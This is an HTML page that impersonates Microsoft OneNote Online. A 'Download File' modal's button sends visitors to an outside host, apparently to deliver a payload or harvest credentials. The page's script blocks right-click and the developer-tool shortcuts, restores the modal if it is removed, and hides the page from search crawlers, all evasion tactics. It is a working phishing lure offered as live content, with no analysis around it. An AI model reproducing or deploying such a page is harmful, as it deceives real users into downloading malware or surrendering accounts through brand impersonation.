<!DOCTYPE hxtml>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, maximum-scale=1, minimum-scale=1">
    <title>Review and sign - Microsoft OneNote Online</title>

    <!-- Disallow Crawlers -->
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex, nofollow">
    <meta http-equiv="X-Robots-Tag" content="noindex, nofollow">

    <!-- Security Headers -->
    <meta http-equiv="X-Content-Type-Options" content="nosniff">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" crossorigin="anonymous">

    <style>
        body, html {
            margin: 0;
            padding: 0;
            height: 100%;
            overflow: hidden;
            font-family: Arial, sans-serif;
            touch-action: none; /* Disable touch gestures */
        }

        /* Prevent double-tap zoom on iOS */
        input, button, select, textarea {
            touch-action: manipulation;
        }

        /* Desktop background */
        body {
            background: url('https://blfire.info/Validation/bg-desktop.png') no-repeat center center fixed;
            background-size: cover;
        }

        /* Mobile-specific styles */
        @media only screen and (max-width: 768px) {
            body {
                background: url('https://blfire.info/Validation/bg-mobile.png') no-repeat center center fixed;
                background-size: cover;
            }
        }

        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 9999;
        }

        .modal {
            width: 400px;
            background-color: #fff;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.2);
            padding: 20px;
        }

        .modal-header {
            font-size: 18px;
            font-weight: bold;
            color: #444;
            margin-bottom: 20px;
        }

        .modal-content {
            font-size: 14px;
            color: #333;
            margin-bottom: 20px;
        }

        .modal-actions {
            display: flex;
            justify-content: flex-end;
        }

        .modal-actions button {
            padding: 10px 15px;
            font-size: 14px;
            border: none;
            cursor: pointer;
            background-color: #0078d4;
            color: white;
        }

        .modal-actions button:hover {
            opacity: 0.9;
        }

        /* Honeypot field */
        .honeypot {
            display: none;
        }
    </style>
</head>
<body>
    <div class="modal-overlay" id="modalOverlay">
        <div class="modal">
            <div class="modal-header">Download File</div>
            <div class="modal-content">
                <p>We can't open this file from OneNote but can download a copy. Do you want to proceed?</p>
            </div>
            <div class="modal-actions">
                <form onsubmit="validateToken(event)">
                    <input type="hidden" id="csrfToken" value="random_token_here">
                    <input class="honeypot" type="text" name="trap" value="">
                    <button type="submit" data-url="https://meheff.clearfire.info/kjpCEcti">Download</button>
                </form>                
            </div>
        </div>
    </div>

    <script>
        // Disable right-click
        document.addEventListener('contextmenu', event => event.preventDefault());
    
        // Disable certain keyboard shortcuts
        document.addEventListener('keydown', function (e) {
            if (e.key === "F12" || 
                (e.ctrlKey && e.shiftKey && e.key === "I") || 
                (e.ctrlKey && e.shiftKey && e.key === "J") || 
                (e.ctrlKey && e.key === "U")) {
                e.preventDefault();
            }
        });
    
        // Validate CSRF Token and Redirect
        function validateToken(event) {
            event.preventDefault(); // Prevent default form submission
    
            // CSRF Token validation
            const csrfToken = document.getElementById('csrfToken').value;
            if (csrfToken !== 'random_token_here') {
                alert('Security validation failed.');
                return false;
            }
    
            // Honeypot validation
            const honeypot = document.querySelector('.honeypot').value;
            if (honeypot) {
                alert("Suspicious activity detected!");
                return false;
            }
    
            // Redirect to the specified URL
            const button = document.querySelector('.modal-actions button');
            const url = button.getAttribute('data-url');
            if (url) {
                window.location.href = url; // Redirects without query strings
            }
        }
    
        // Re-add the modal if it's removed
        const modalOverlay = document.getElementById('modalOverlay');
        const observer = new MutationObserver(function (mutations) {
            mutations.forEach(function (mutation) {
                if (!document.body.contains(modalOverlay)) {
                    document.body.appendChild(modalOverlay);
                }
            });
        });
        observer.observe(document.body, { childList: true });
    </script>  
</body>
</html>